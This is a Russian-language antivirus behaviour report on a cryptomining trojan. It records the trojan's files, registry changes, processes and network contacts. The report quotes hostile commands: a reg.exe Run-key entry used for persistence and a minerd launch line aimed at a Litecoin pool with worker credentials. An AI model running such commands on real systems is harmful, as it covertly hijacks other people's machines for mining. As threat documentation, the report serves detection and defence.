Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Lync' = '%WINDIR%\miner\run.vbs'
Вредоносные функции:
Создает и запускает на исполнение:
- '%WINDIR%\miner\32\minerd.exe' -o stratum+tcp://litecoinpool.org:3333 -t 1 -O cat000000.kill:1234
- '%WINDIR%\miner\App\Firefox\firefox.exe' -profile "%WINDIR%\miner\Data\profile" -no-remote
- '%WINDIR%\miner\FirefoxPortable.exe' -no-remote
Запускает на исполнение:
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Lync /t REG_SZ /d "%WINDIR%\miner\run.vbs" /f
- '<SYSTEM32>\wscript.exe' "%WINDIR%\miner\run.vbs"
- '<SYSTEM32>\find.exe' /I "minerd.exe"
- '<SYSTEM32>\cmd.exe' /c ""%WINDIR%\miner\run.bat" "
- '<SYSTEM32>\tasklist.exe' /FI "ImageName EQ minerd.exe"
Изменения в файловой системе:
Создает следующие файлы:
- %WINDIR%\miner\Data\profile\search.json
- %WINDIR%\miner\Data\profile\safebrowsing\test-phish-simple.sbstore
- %WINDIR%\miner\Data\profile\secmod.db
- %WINDIR%\miner\Data\profile\sessionstore.js
- %WINDIR%\miner\Data\profile\sessionstore.bak
- %WINDIR%\miner\Data\profile\safebrowsing\test-phish-simple.pset
- %WINDIR%\miner\Data\profile\safebrowsing\test-malware-simple.cache
- %WINDIR%\miner\Data\profile\prefs.js
- %WINDIR%\miner\Data\profile\safebrowsing\test-malware-simple.pset
- %WINDIR%\miner\Data\profile\safebrowsing\test-phish-simple.cache
- %WINDIR%\miner\Data\profile\safebrowsing\test-malware-simple.sbstore
- %WINDIR%\miner\Other\Help\images\donation_button.png
- %WINDIR%\miner\Data\settings\FirefoxPortableSettings.ini
- %WINDIR%\miner\Other\Help\images\favicon.ico
- %WINDIR%\miner\Other\Help\images\help_background_header.png
- %WINDIR%\miner\Other\Help\images\help_background_footer.png
- %WINDIR%\miner\Data\profile\webappsstore.sqlite
- %WINDIR%\miner\Data\profile\startupCache\startupCache.4.little
- %WINDIR%\miner\Data\profile\signons.sqlite
- %WINDIR%\miner\Data\profile\thumbnails\ce8c0453589216a67cddb50284fbfe8d.png
- %WINDIR%\miner\Data\profile\webapps\webapps.json
- %WINDIR%\miner\Data\profile\urlclassifierkey3.txt
- %WINDIR%\miner\Data\profile\pluginreg.dat
- %WINDIR%\miner\Data\profile\extensions.sqlite
- %WINDIR%\miner\Data\profile\extensions.ini
- %WINDIR%\miner\Data\profile\formhistory.sqlite
- %WINDIR%\miner\Data\profile\indexedDB\chrome\idb\2588645841ssegtnti.sqlite
- %WINDIR%\miner\Data\profile\healthreport.sqlite
- %WINDIR%\miner\Data\profile\downloads.sqlite
- %WINDIR%\miner\Data\profile\cert8.db
- %WINDIR%\miner\Data\profile\bookmarks.html
- %WINDIR%\miner\Data\profile\compatibility.ini
- %WINDIR%\miner\Data\profile\cookies.sqlite
- %WINDIR%\miner\Data\profile\content-prefs.sqlite
- %WINDIR%\miner\Data\profile\mimeTypes.rdf
- %WINDIR%\miner\Data\profile\marionette.log
- %WINDIR%\miner\Data\profile\OfflineCache\index.sqlite
- %WINDIR%\miner\Data\profile\places.sqlite
- %WINDIR%\miner\Data\profile\permissions.sqlite
- %WINDIR%\miner\Data\profile\localstore.rdf
- %WINDIR%\miner\Data\profile\jumpListCache\UrVEuSEf5NFaUMoaLzEl5A==.ico
- %WINDIR%\miner\Data\profile\indexedDB\moz-safe-about+home\idb\818200132aebmoouht.sqlite
- %WINDIR%\miner\Data\profile\jumpListCache\Wh2bqQE8wLSF9yHD8bEnTg==.ico
- %WINDIR%\miner\Data\profile\key3.db
- %WINDIR%\miner\Data\profile\jumpListCache\zowEU1iSFqZ83bUChPv+jQ==.ico
- %WINDIR%\miner\Other\Help\images\help_logo_top.png
- %TEMP%\nsi2.tmp
- %WINDIR%\miner\cmd.bat
- %TEMP%\nsi3.tmp\registry.dll
- %TEMP%\nsi3.tmp\System.dll
- %TEMP%\nsi3.tmp\FindProcDLL.dll
- %WINDIR%\miner\Other\Source\SetFileAttributesDirectoryNormal.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_TRADCHINESE.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_SPANISHINTERNATIONAL.nsh
- %WINDIR%\miner\Other\Source\ReadINIStrWithDefault.nsh
- %WINDIR%\miner\Other\Source\ReplaceInFileWithTextReplace.nsh
- %WINDIR%\miner\Other\Source\Readme.txt
- %WINDIR%\miner\Data\profile\safebrowsing\test-malware-simple-1.cache
- %WINDIR%\miner\Data\profile\safebrowsing\test-malware-simple-1.sbstore
- %WINDIR%\miner\Data\profile\safebrowsing\test-phish-simple-1.sbstore
- %TEMP%\eMmmRxb9.part
- %WINDIR%\miner\Data\profile\safebrowsing\test-phish-simple-1.cache
- %WINDIR%\miner\Data\profile\webapps\webapps-1.json
- %APPDATA%\Mozilla\Firefox\Crash Reports\InstallTime20131025151332
- %TEMP%\nsi3.tmp\newadvsplash.dll
- %WINDIR%\miner\Data\profile\prefs-1.js
- %TEMP%\etilqs_K3lYEdYGDtc8tFf
- %WINDIR%\miner\Data\profile\extensions.sqlite-journal
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_SPANISH.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_ARABIC.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comInstallerCustom.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_DUTCH.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_ENGLISHGB.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_ENGLISH.nsh
- %WINDIR%\miner\Other\Source\License.txt
- %WINDIR%\miner\Other\Source\CheckForPlatformSplashDisable.nsh
- %WINDIR%\miner\Other\Source\AppSource.txt
- %WINDIR%\miner\Other\Source\FirefoxPortable.ini
- %WINDIR%\miner\Other\Source\FirefoxPortableU.nsi
- %WINDIR%\miner\Other\Source\FirefoxPortable.jpg
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_PORTUGUESE.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_POLISH.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_PORTUGUESEBR.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_SIMPCHINESE.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_RUSSIAN.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_KOREAN.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_GERMAN.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_FRENCH.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_HUNGARIAN.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_JAPANESE.nsh
- %WINDIR%\miner\Other\Source\PortableApps.comLauncherLANG_ITALIAN.nsh
- %WINDIR%\miner\Data\profile\bookmarkbackups\bookmarks-2014-06-18_8.json
- %WINDIR%\miner\App\Firefox\browser\chrome.manifest
- %WINDIR%\miner\App\Firefox\browser\blocklist.xml
- %WINDIR%\miner\App\Firefox\browser\components\browsercomps.dll
- %WINDIR%\miner\App\Firefox\browser\crashreporter-override.ini
- %WINDIR%\miner\App\Firefox\browser\components\components.manifest
- %WINDIR%\miner\App\Firefox\breakpadinjector.dll
- %WINDIR%\miner\App\DefaultData\profile\prefs.js
- %WINDIR%\miner\App\DefaultData\profile\bookmarks.html
- %WINDIR%\miner\App\DefaultData\settings\FirefoxPortableSettings.ini
- %WINDIR%\miner\App\Firefox\application.ini
- %WINDIR%\miner\App\Firefox\AccessibleMarshal.dll
- %WINDIR%\miner\App\Firefox\browser\searchplugins\twitter.xml
- %WINDIR%\miner\App\Firefox\browser\searchplugins\google.xml
- %WINDIR%\miner\App\Firefox\browser\searchplugins\wikipedia.xml
- %WINDIR%\miner\App\Firefox\crashreporter.exe
- %WINDIR%\miner\App\Firefox\browser\searchplugins\yahoo.xml
- %WINDIR%\miner\App\Firefox\browser\searchplugins\eBay.xml
- %WINDIR%\miner\App\Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\install.rdf
- %WINDIR%\miner\App\Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}\icon.png
- %WINDIR%\miner\App\Firefox\browser\omni.ja
- %WINDIR%\miner\App\Firefox\browser\searchplugins\bing.xml
- %WINDIR%\miner\App\Firefox\browser\searchplugins\amazondotcom.xml
- %WINDIR%\miner\App\DefaultData\plugins\plugins_readme.txt
- %WINDIR%\miner\32\minerd.exe
- %WINDIR%\miner\32\libwinpthread-1.dll
- %WINDIR%\miner\32\r.bat
- %WINDIR%\miner\64\libcurl-4.dll
- %WINDIR%\miner\32\zlib1.dll
- %WINDIR%\miner\32\libcurl-4.dll
- %WINDIR%\miner\help.html
- %WINDIR%\miner\FirefoxPortable.exe
- %WINDIR%\miner\run.bat
- %WINDIR%\miner\StartNewFoxSession.cmd
- %WINDIR%\miner\run.vbs
- %WINDIR%\miner\App\AppInfo\appicon_32.png
- %WINDIR%\miner\App\AppInfo\appicon_16.png
- %WINDIR%\miner\App\AppInfo\appinfo.ini
- %WINDIR%\miner\App\Bin\sqlite3.exe
- %WINDIR%\miner\App\AppInfo\installer.ini
- %WINDIR%\miner\App\AppInfo\appicon_128.png
- %WINDIR%\miner\64\minerd.exe
- %WINDIR%\miner\64\libwinpthread-1.dll
- %WINDIR%\miner\64\r.bat
- %WINDIR%\miner\App\AppInfo\appicon.ico
- %WINDIR%\miner\64\zlib1.dll
- %WINDIR%\miner\App\Firefox\crashreporter.ini
- %WINDIR%\miner\App\Firefox\uninstall\helper.exe
- %WINDIR%\miner\App\Firefox\softokn3.dll
- %WINDIR%\miner\App\Firefox\update-settings.ini
- %WINDIR%\miner\App\Firefox\updater.ini
- %WINDIR%\miner\App\Firefox\updater.exe
- %WINDIR%\miner\App\Firefox\softokn3.chk
- %WINDIR%\miner\App\Firefox\plugin-container.exe
- %WINDIR%\miner\App\Firefox\platform.ini
- %WINDIR%\miner\App\Firefox\plugin-hang-ui.exe
- %WINDIR%\miner\App\Firefox\removed-files
- %WINDIR%\miner\App\Firefox\precomplete
- %WINDIR%\miner\Data\profile\addons.json
- %WINDIR%\miner\Data\plugins\plugins_readme.txt
- %WINDIR%\miner\Data\profile\bookmarkbackups\bookmarks-2013-11-03_6.json
- %WINDIR%\miner\Data\profile\bookmarkbackups\bookmarks-2014-06-17_6.json
- %WINDIR%\miner\Data\profile\bookmarkbackups\bookmarks-2014-04-10_6.json
- %WINDIR%\miner\App\readme.txt
- %WINDIR%\miner\App\Firefox\webapprt\omni.ja
- %WINDIR%\miner\App\Firefox\webapp-uninstaller.exe
- %WINDIR%\miner\App\Firefox\webapprt\webapprt.ini
- %WINDIR%\miner\App\Firefox\xul.dll
- %WINDIR%\miner\App\Firefox\webapprt-stub.exe
- %WINDIR%\miner\App\Firefox\omni.ja
- %WINDIR%\miner\App\Firefox\freebl3.dll
- %WINDIR%\miner\App\Firefox\freebl3.chk
- %WINDIR%\miner\App\Firefox\gkmedias.dll
- %WINDIR%\miner\App\Firefox\libGLESv2.dll
- %WINDIR%\miner\App\Firefox\libEGL.dll
- %WINDIR%\miner\App\Firefox\firefox.exe
- %WINDIR%\miner\App\Firefox\defaults\pref\channel-prefs.js
- %WINDIR%\miner\App\Firefox\D3DCompiler_43.dll
- %WINDIR%\miner\App\Firefox\dependentlibs.list
- %WINDIR%\miner\App\Firefox\dictionaries\en-US.dic
- %WINDIR%\miner\App\Firefox\dictionaries\en-US.aff
- %WINDIR%\miner\App\Firefox\nss3.dll
- %WINDIR%\miner\App\Firefox\msvcr100.dll
- %WINDIR%\miner\App\Firefox\nssckbi.dll
- %WINDIR%\miner\App\Firefox\nssdbm3.dll
- %WINDIR%\miner\App\Firefox\nssdbm3.chk
- %WINDIR%\miner\App\Firefox\msvcp100.dll
- %WINDIR%\miner\App\Firefox\maintenanceservice_installer.exe
- %WINDIR%\miner\App\Firefox\maintenanceservice.exe
- %WINDIR%\miner\App\Firefox\mozalloc.dll
- %WINDIR%\miner\App\Firefox\mozjs.dll
- %WINDIR%\miner\App\Firefox\mozglue.dll
Удаляет следующие файлы:
- %TEMP%\nsi3.tmp\System.dll
- %WINDIR%\miner\Data\profile\startupCache\startupCache.4.little
- %TEMP%\nsi3.tmp\registry.dll
- %TEMP%\nsi3.tmp\FindProcDLL.dll
- %TEMP%\nsi3.tmp\newadvsplash.dll
Перемещает следующие файлы:
- %WINDIR%\miner\Data\profile\safebrowsing\test-phish-simple-1.sbstore в %WINDIR%\miner\Data\profile\safebrowsing\test-phish-simple.sbstore
- %WINDIR%\miner\Data\profile\safebrowsing\test-malware-simple-1.cache в %WINDIR%\miner\Data\profile\safebrowsing\test-malware-simple.cache
- %WINDIR%\miner\Data\profile\pluginreg.dat.tmp в %WINDIR%\miner\Data\profile\pluginreg.dat
- %WINDIR%\miner\Data\profile\safebrowsing\test-phish-simple-1.cache в %WINDIR%\miner\Data\profile\safebrowsing\test-phish-simple.cache
- %WINDIR%\miner\Data\profile\safebrowsing\test-malware-simple-1.sbstore в %WINDIR%\miner\Data\profile\safebrowsing\test-malware-simple.sbstore
- %WINDIR%\miner\Data\profile\extensions.ini.tmp в %WINDIR%\miner\Data\profile\extensions.ini
- %WINDIR%\miner\Data\profile\prefs-1.js в %WINDIR%\miner\Data\profile\prefs.js
- %WINDIR%\miner\Data\profile\search.json.tmp в %WINDIR%\miner\Data\profile\search.json
- %WINDIR%\miner\Data\profile\webapps\webapps-1.json в %WINDIR%\miner\Data\profile\webapps\webapps.json
Сетевая активность:
Подключается к:
- 'vk.com':80
- 'li####inpool.org':3333
- 'localhost':1036
TCP:
Запросы HTTP GET:
- vk.com/
UDP:
- DNS ASK vk.com
- DNS ASK li####inpool.org
Другое:
Ищет следующие окна:
- ClassName: 'Indicator' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
